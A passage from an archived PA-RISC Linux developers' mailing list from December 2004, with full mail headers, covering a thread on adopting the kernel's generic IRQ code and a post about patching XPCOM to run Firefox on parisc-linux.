Or is it still work in progress? Then: what's the status and can I contribute?

At build-time and/or boot-time I donnot see any alarming messages like failing 
builds or links or such.



CBee

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Generic IRQ support
Date: Thu, 9 Dec 2004 15:29:44 +0000
Lines: 49
Approved: news@gmane.org
Message-ID: <20041209152944.GP10881@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624509 26475 80.91.229.3 (22 Nov 2014 02:48:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:29 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 9687 invoked by uid 65534); 9 Dec 2004 15:30:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx059) with SMTP; 09 Dec 2004 16:30:25 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2E90E3BE6B; Thu,  9 Dec 2004 08:30:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32574-04; Thu, 9 Dec 2004 08:30:17 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8AB783BE6D; Thu,  9 Dec 2004 08:29:54 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D8373BE6A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Dec 2004 08:29:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 32484-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Dec 2004 08:29:48 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 7100C3BE69
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Dec 2004 08:29:47 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 26D5049406D; Thu,  9 Dec 2004 08:29:47 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id CADD5494040
	for <parisc-linux@parisc-linux.org>;
	Thu,  9 Dec 2004 08:29:46 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CcQEi-0006i1-JO
	for parisc-linux@parisc-linux.org; Thu, 09 Dec 2004 15:29:44 +0000
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25021


I've been looking at using the new generic IRQ code for PA, and I think
we can do it.

The irq_regions code has to go, of course.  The data structures used by
the generic code are just incompatible.  So the new scheme looks like
this:

An irq number is just a small integer.  Skipping 0-15 as being legacy
isa/eisa/suckyio (maybe) interrupts, we start allocating irq numbers
at 16.  Each interrupt (as opposed to each interrupt region) has its own
vector of irq operations.  Mostly they'll be the same, but this lets us
allocate the irq numbers in an arbitrary way.

Machines with iosapic have one CPU interrupt per iosapic interrupt,
so we can get rid of the hierarchy.  The iosapic still needs to be told
that we've finished processing the interrupt, but that can be done by
the ->end method.

Native devices (such as Zalon/Bluefish) also need no hierarchy.  They
just take a CPU interrupt.

For lasi/dino/wax/asp (hereinafter referred to as lasi), we really do
have hierarchical interrupts.  So lasi will take a native interrupt,
then reads the status register, translates that to a Linux interrupt
number and calls __do_irq() again.

EISA is just as much fun, only it goes through an additional layer of
indirection; we call wax's IRQ handler which decodes its status register
and calls the EISA interrupt handler, which decodes its status register
and calls the driver's interrupt handler.

I intend to get iosapic & suckyio working under this scheme, then post
what I have.  At that point, someone else can step in and do old-gsc
devices ;-)

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic IRQ support
Date: Thu, 9 Dec 2004 22:51:40 -0700
Lines: 66
Approved: news@gmane.org
Message-ID: <20041210055140.GC26739@colo.lackof.org>
References: <20041209152944.GP10881@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624509 26477 80.91.229.3 (22 Nov 2014 02:48:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:29 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 32741 invoked by uid 65534); 10 Dec 2004 05:53:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx036) with SMTP; 10 Dec 2004 06:53:19 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6A84A3BE48; Thu,  9 Dec 2004 22:53:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07638-10; Thu, 9 Dec 2004 22:53:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E143B3BE4A; Thu,  9 Dec 2004 22:52:39 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 87CD73BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Dec 2004 22:52:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07638-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Dec 2004 22:52:32 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1FA1D3BE47
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Dec 2004 22:52:32 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id B1889494072; Thu,  9 Dec 2004 22:52:31 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 62806494040
	for <parisc-linux@parisc-linux.org>;
	Thu,  9 Dec 2004 22:52:31 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 13B3C298034; Thu,  9 Dec 2004 22:52:30 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27254-01; Thu, 9 Dec 2004 22:51:40 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D057B298033; Thu,  9 Dec 2004 22:51:40 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20041209152944.GP10881@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25022

On Thu, Dec 09, 2004 at 03:29:44PM +0000, Matthew Wilcox wrote:
> 
> I've been looking at using the new generic IRQ code for PA, and I think
> we can do it.

Yes - it's certainly feasible.
I've proposed something similar several years ago:
    http://lists.parisc-linux.org/pipermail/parisc-linux/2000-October/009640.html

Last year Thibaut Varene and I even took a run at it.
Our goal was to pickup/add generic support for IRQ affinity.
We got ~60% done after a few monthes but ran out of time.

> The irq_regions code has to go, of course.  The data structures used by
> the generic code are just incompatible.  So the new scheme looks like
> this:
> 
> An irq number is just a small integer.  Skipping 0-15 as being legacy
> isa/eisa/suckyio (maybe) interrupts, we start allocating irq numbers
> at 16.  Each interrupt (as opposed to each interrupt region) has its own
> vector of irq operations.  Mostly they'll be the same, but this lets us
> allocate the irq numbers in an arbitrary way.

yup - that should work fine.

> 
> Machines with iosapic have one CPU interrupt per iosapic interrupt,
> so we can get rid of the hierarchy.  The iosapic still needs to be told
> that we've finished processing the interrupt, but that can be done by
> the ->end method.

We can't entirely get rid of the hierarchy.
There are configurations where we might have to share a CPU EIR.
Since N-class is working now, I'm mostly concerned about it on that
class of platform. Especially if we want to support MSI or MSI-X.

> Native devices (such as Zalon/Bluefish) also need no hierarchy.  They
> just take a CPU interrupt.
> 
> For lasi/dino/wax/asp (hereinafter referred to as lasi), we really do
> have hierarchical interrupts.  So lasi will take a native interrupt,
> then reads the status register, translates that to a Linux interrupt
> number and calls __do_irq() again.
> 
> EISA is just as much fun, only it goes through an additional layer of
> indirection; we call wax's IRQ handler which decodes its status register
> and calls the EISA interrupt handler, which decodes its status register
> and calls the driver's interrupt handler.
> 
> I intend to get iosapic & suckyio working under this scheme, then post
> what I have.  At that point, someone else can step in and do old-gsc
> devices ;-)

You probably want to look at the source tree from Thibaut since
that's basically the same approach we took then...most of the
changes should still apply.
Please poke (gently) if I can help.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic IRQ support
Date: Fri, 10 Dec 2004 13:10:28 +0000
Lines: 46
Approved: news@gmane.org
Message-ID: <20041210131028.GA11305@parcelfarce.linux.theplanet.co.uk>
References: <20041209152944.GP10881@parcelfarce.linux.theplanet.co.uk>
	<20041210055140.GC26739@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624509 26478 80.91.229.3 (22 Nov 2014 02:48:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:29 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18398 invoked by uid 65534); 10 Dec 2004 13:12:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx050) with SMTP; 10 Dec 2004 14:12:35 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9A72F3BE47; Fri, 10 Dec 2004 06:12:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12414-05; Fri, 10 Dec 2004 06:11:48 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 000C73BE4B; Fri, 10 Dec 2004 06:10:47 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6F3563BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Dec 2004 06:10:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 11501-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Dec 2004 06:10:32 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1CEC33BE47
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Dec 2004 06:10:32 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id C7326494073; Fri, 10 Dec 2004 06:10:31 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by palinux.hppa (Postfix) with ESMTP id 21AA8494040;
	Fri, 10 Dec 2004 06:10:31 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CckXU-0005o2-Qi; Fri, 10 Dec 2004 13:10:28 +0000
Content-Disposition: inline
In-Reply-To: <20041210055140.GC26739@colo.lackof.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25023

On Thu, Dec 09, 2004 at 10:51:40PM -0700, Grant Grundler wrote:
> Yes - it's certainly feasible.
> I've proposed something similar several years ago:
>     http://lists.parisc-linux.org/pipermail/parisc-linux/2000-October/009640.html
> 
> Last year Thibaut Varene and I even took a run at it.
> Our goal was to pickup/add generic support for IRQ affinity.
> We got ~60% done after a few monthes but ran out of time.

I found
http://lists.parisc-linux.org/pipermail/parisc-linux/2004-August/024593.html
but I couldn't find the patch that was referenced there.

> > Machines with iosapic have one CPU interrupt per iosapic interrupt,
> > so we can get rid of the hierarchy.  The iosapic still needs to be told
> > that we've finished processing the interrupt, but that can be done by
> > the ->end method.
> 
> We can't entirely get rid of the hierarchy.
> There are configurations where we might have to share a CPU EIR.
> Since N-class is working now, I'm mostly concerned about it on that
> class of platform. Especially if we want to support MSI or MSI-X.

Once we start to hit problems like this (more than 64 interrupts per CPU),
we can write some code to reintroduce a hierarchy, I guess.

> You probably want to look at the source tree from Thibaut since
> that's basically the same approach we took then...most of the
> changes should still apply.
> Please poke (gently) if I can help.

If you could find that work ...

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ivar <orskaug@stud.ntnu.no>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Firefox/Mozilla patches
Date: Fri, 17 Dec 2004 23:26:57 +0100 (MET)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.58.0412172254550.1196@panter.stud.ntnu.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416624510 26482 80.91.229.3 (22 Nov 2014 02:48:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:30 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Dec 2004 22:29:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx040) with SMTP; 17 Dec 2004 23:29:11 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3C7283BE4B; Fri, 17 Dec 2004 15:29:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20871-04; Fri, 17 Dec 2004 15:28:25 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2FAEF3BE4F; Fri, 17 Dec 2004 15:27:21 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 73FB73BE4B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Dec 2004 15:27:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 20398-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Dec 2004 15:27:12 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 56E1E3BE4A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Dec 2004 15:27:12 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id E75D24956EF; Fri, 17 Dec 2004 15:27:11 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from royk.itea.ntnu.no (royk.itea.ntnu.no [129.241.190.230])
	by palinux.hppa (Postfix) with ESMTP id 921D549407B
	for <parisc-linux@parisc-linux.org>;
	Fri, 17 Dec 2004 15:27:11 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by royk.itea.ntnu.no (Postfix) with ESMTP id 2688167188
	for <parisc-linux@parisc-linux.org>;
	Fri, 17 Dec 2004 23:26:58 +0100 (CET)
Original-Received: from panter.stud.ntnu.no (panter.stud.ntnu.no [129.241.56.186])
	by royk.itea.ntnu.no (Postfix) with ESMTP
	for <parisc-linux@parisc-linux.org>;
	Fri, 17 Dec 2004 23:26:57 +0100 (CET)
X-Content-Scanned: with sophos and spamassassin at mailgw.ntnu.no.
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25024


The apt-versions of Mozilla & Firefox have never worked for me, so I've
recently been looking into the codebase. Compiling with the current
toolchain (gcc-3.3) was painless, however it was necessary to slightly
modify the XPCOM HP-UX/HP-CC code for it to work with gcc & parisc-linux.
Some platform spesific code is required to make XPCOM (and consequently
Mozilla/Firefox) work on any combination of OS/compiler/architecture.
XPCOM calls virtual funtions direcly, using the vtable pointers (not via
the runtime).

Anyway, after applying these modifications Firefox 1.0 runs nicely on my
C3000. If  these issues are not resolved in the apt versions of
mozilla/firefox, I will submit my patches,

cheers,
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Firefox/Mozilla patches
Date: Fri, 17 Dec 2004 17:38:03 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200412172238.iBHMc3sL017678@hiauly1.hia.nrc.ca>
References: <Pine.GSO.4.58.0412172254550.1196@panter.stud.ntnu.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624510 26483 80.91.229.3 (22 Nov 2014 02:48:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:30 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: orskaug@stud.ntnu.no (Ivar)
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Dec 2004 22:38:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx018) with SMTP; 17 Dec 2004 23:38:58 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BA1D73BE59; Fri, 17 Dec 2004 15:38:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21044-02; Fri, 17 Dec 2004 15:38:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5CFD83BE57; Fri, 17 Dec 2004 15:38:15 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 300833BE4F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Dec 2004 15:38:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 20398-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Dec 2004 15:38:06 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4FC023BE4B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Dec 2004 15:38:06 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 0314C4956EF; Fri, 17 Dec 2004 15:38:06 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by palinux.hppa (Postfix) with ESMTP id B70C949407B
	for <parisc-linux@parisc-linux.org>;
	Fri, 17 Dec 2004 15:38:05 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	iBHMc3ko017679; Fri, 17 Dec 2004 17:38:04 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id iBHMc3sL017678;
	Fri, 17 Dec 2004 17:38:03 -0500 (EST)
In-Reply-To: <Pine.GSO.4.58.0412172254550.1196@panter.stud.ntnu.no> from
	"Ivar" at Dec 17, 2004 05:26:57 pm
X-Mailer: ELM [version 2.4 PL25]
